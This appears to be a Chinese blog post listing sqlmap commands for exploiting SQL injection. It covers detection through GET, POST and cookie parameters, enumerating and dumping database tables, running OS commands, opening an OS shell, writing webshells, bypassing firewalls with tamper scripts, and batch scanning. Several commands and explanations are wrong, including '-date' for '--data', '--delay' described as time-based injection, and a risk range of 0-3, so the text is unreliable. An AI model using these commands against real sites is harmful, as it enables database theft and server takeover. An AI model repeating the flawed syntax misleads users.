![在这里插入图片描述](https://img-blog.csdnimg.cn/20210129170142991.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzQ5NjA1OTc1,size_16,color_FFFFFF,t_70)

环境:python
工具下载地址:sqlmap.org

SqlMap是我们常用的一款sql注入漏洞检测工具,为了方便大家平时的使用,在此分享一下我总结的一下命令。

目录结构:
extra:额外功能
lib:连接库,注入参数,提权操作
tamper:绕过脚本
thirdparty:第三方插件
txt:字典,例如浏览器代理,表,列,关键字
udf:自定义攻击载荷
waf:常见防火墙特征--identify-waf

常用命令:
1.注入检测方式:

get方式:sqlmap.py -u "URL"
post方式:sqlmap.py -u "URL" -date "post数据"
cookie方式:sqlmap.py -u "URL" -cookie "cookie数据"

2.获取数据库信息

获取数据库类型以及版本:sqlmap.py -u "URL"
获取网站使用的数据库名和用户名:sqlmap.py -u "URL" --current-db
sqlmap.py -u "URL" --current-user

3.获取数据量和用户权限

获取数据库的数据量:sqlmap.py -u "URL" --count -D "数据库名"
判断用户权限:sqlmap.py -u "URL" --privileges

4.Mysql注入
Mysql结构:库-表-列-数据(字段内容)
注入顺序:

首先获取当前库名:sqlmap.py -u "URL" --current-db
其次获取库中表名:sqlmap.py -u "URL" --tables -D "数据库名"
然后获取库中某个表的列名:sqlmap.py -u "URL" --columns -T "表名" -D "库名"
最后获取库中某个表名的某个列名的字段内容:sqlmap.py -u "URL" --dump -C "列名" -T "表名" -D "库名"

5.管理数据库

连接数据库:sqlmap.py -d "mysql://用户名:密码@地址:端口/数据库名"(需安装pymysql:https://girhub/pymysql/pymysql)
执行sql命令:sqlmap.py -d "mysql://用户名:密码@地址:端口/数据库名" --sqlshell

6.延时注入
针对页面无变化,无法用布尔真假判断,无法报错的情况下注入。

sqlmap.py -u "URL" --delay 数字值(秒为单位)
sqlmap.py -u "URL" -safe-freq

7.交互式命令执行和写Webshell

命令执行:sqlmap.py -u "URL" --os-cmd="命令"
Webshell:sqlmap.py -u "URL" --os-shell

8.Tamper脚本

sqlmap.py -u "URL" --tamper="脚本名字"

9.本地写入Webshell

sqlmap.py -u "URL" --file-write "本地文件路径" --file-dest "目标文件路径"

10.批量检测注入漏洞

sqlmap.py -m 本地文件路径
结合BurpSuite:sqlmap.py -l 本地文件路径 --batch -smart

//batch:自动选择yes,smart:启发式快速判断

--proxy="http://ip:8080"  //浏览器代理
--level=(1-5) //测试水平等级
--risk=(0-3) //风险等级

未完,不断更新中!

发表评论